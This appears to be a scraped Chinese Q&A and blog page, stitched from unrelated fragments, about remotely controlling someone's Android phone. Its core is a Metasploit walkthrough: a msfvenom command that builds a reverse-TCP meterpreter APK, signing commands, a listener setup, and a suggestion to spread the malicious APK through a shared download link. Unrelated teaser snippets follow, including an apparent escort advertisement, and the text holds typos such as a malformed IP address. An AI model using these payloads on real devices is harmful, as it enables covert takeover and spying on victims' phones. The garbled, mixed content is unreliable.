你没有办法“黑”别人的手机。即使你能制造病毒发送到别人手机上,也会被手机所带的杀毒程序拦截、清除。况且这是违法行为,会受到追究甚至惩处。
你可以拉黑对方,和对方不联系,但是不能想歪点子黑人家的手机。
你好,安卓手机只要连接好USB数据线,连接好WIFI,然后设置,系统,共享手机 *** ,USB绑定,如果是WIN7,电脑里会自动出现一个新的 *** 连接,可以上网了,如还有问题请追问。
可通过下列 *** 试试。
1、想获取到手机的权限,你可以控制到手机的 *** 。所以之一种 *** 就是通过内网渗透,前提是你和这个手机是同个局域网,或者你能连接到手机建立内网关系,再用kali linux里面的工具进行操作。
2.通过app进行控制。另一种就是通过软件进行控制,网上很多病毒app实际上用户下载后运行,手机就已经被控制了,这类软件相当于远程控制软件的客户端,当用户打开软件后就会在后台运行,控制者就有了手机的权限。
可以尝试但不能做违法犯罪的事情。
文章内容可能具有一定攻击性,本文仅供技术交流,如有非法使用后果自负。
在这次的实验中,我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机:Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端,使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令,使用msfvenom工具来创建有效载荷APK文件。
```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
```
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后,你会看到一些错误,但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式(APK)文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名:
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
`
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
`
Kali没有预装Zipalign,需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK,它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK,并将下载链接分享出去。
这是我们切换到安卓模拟器。
能的,不要随便去点陌生网站链接之类的,一般入侵控制手机都是通过木马后门实现,安卓的话可以直接用kali系统下的一个工具渗透直接获取权限,苹果要稍为好点。保护机制不同
随着对个人隐私的重视,许多小伙伴都开始会对自己的文件夹进行加密。那么全面加密、金钻加密、移动加密对文件夹的大小有没有限制呢?下面,就让超人软件小编为大家答疑解惑一下,希望对大家有所帮助。 超...
后浸透模块,望文生义是在成功浸透政策主机之后进行操作的模块,这类模块可以抵达某种或某些特定的目的。在Metasploit中,模块是后缀名为.rb的文件,它是运用Ruby编写的程序。本文具体描述了怎样运...
说起中国一汽,对于年轻人来讲可能最先想到的便是一汽大众,也不免很多人问中国一汽和一汽大众是一家的吗?首先可以明确的告诉大家,中国一汽和一汽大众绝对不是一家的。 中国一汽,在老一辈人的心中可能印...
怎么查微信删除的谈天纪录? 微信是人人都在用的谈天软件之一,实在是具备了许多的功效,然则有时候我们消灭手机内存时,会一不小心把一些微信谈天纪录删除,导致一些主要的文件和谈天信息一并删除,那么怎么查...
黑客帝国4评分 截至2021年12月26日,黑客帝国4豆瓣评分8分。《黑客帝国》系列的口碑非常好,《黑客帝国1》豆瓣评分1分,71万人参与评测,1星差评占比只有0.1%,5星好评占比高达66%,这在好...
深圳市高端商务预约价格表【孔荷】 今天给大家分享的内容是“深圳市高端商务预约价格表【孔荷】”,我是孔荷,来自广东省,今年18岁,作为职业:文学/传媒/影视,我热爱我的职业:文学/传媒/影视。三圍:...